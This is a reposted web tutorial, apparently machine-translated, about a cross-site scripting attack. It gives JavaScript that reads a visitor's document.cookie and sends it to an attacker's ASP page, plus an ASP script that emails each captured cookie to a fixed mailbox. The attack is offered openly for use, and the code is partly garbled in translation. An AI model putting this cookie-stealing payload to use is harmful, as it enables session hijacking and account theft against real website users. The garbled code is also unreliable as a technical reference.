Xss code: asp intercepts cookies and sends them to the mailbox

Source: Internet
Author: User

Let's take a look at the code. I'm used to using php. I 'd better get an asp code.
Xss provides simple sample code for obtaining cookies. Of course, you can perform secondary processing to obtain more information.
Js Code:
Var xmlHttp;
Try
{
// Firefox, Opera 8.0 +, Safari
XmlHttp = new XMLHttpRequest ();
}
Catch (e)
{
// Alert (e );
// Internet Explorer
Try
{
XmlHttp = new ActiveXObject ("Msxml2.XMLHTTP ");
}
Catch (e)
{
Alert ("ie" + e );
Try
{
XmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
}
Catch (e)
{
Alert ("Your browser does not support AJAX! "+ E );
/* Return false ;*/
}
}
}
Alert ("sdfsd" + xmlHttp );
Netscape. security. PrivilegeManager. enablePrivilege ("UniversalPreferencesRead UniversalPreferencesWrite ");
XmlHttp. open ("GET", "http: // localweb/xss. asp? Cookie = "+ document. cookie, true );
Alert ("sdfsd ");
XmlHttp. send (null );
Alert ("Mail send ");
Asp Sender: www.2cto.com
 
Set MyCDONTSMail = CreateObject ("CDONTS. NewMail ")
 
MyCDONTSMail. From = "xssxss@xssxss.com"
 
MyCDONTSMail. To = "xssxss@xssxss.com"
 
MyCDONTSMail. Subject = "Xss. COM cookie is comming"
 
MyBody = request ("cookie ")
 
MyCDONTSMail. Body = MyBody
 
MyCDONTSMail. Send
 
Set MyCDONTSMail = nothing
 
You can add the <% and %> symbols by yourself. I cannot display them when I add them.


Author http://www.xssxss.com/fuck/1003.xss

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.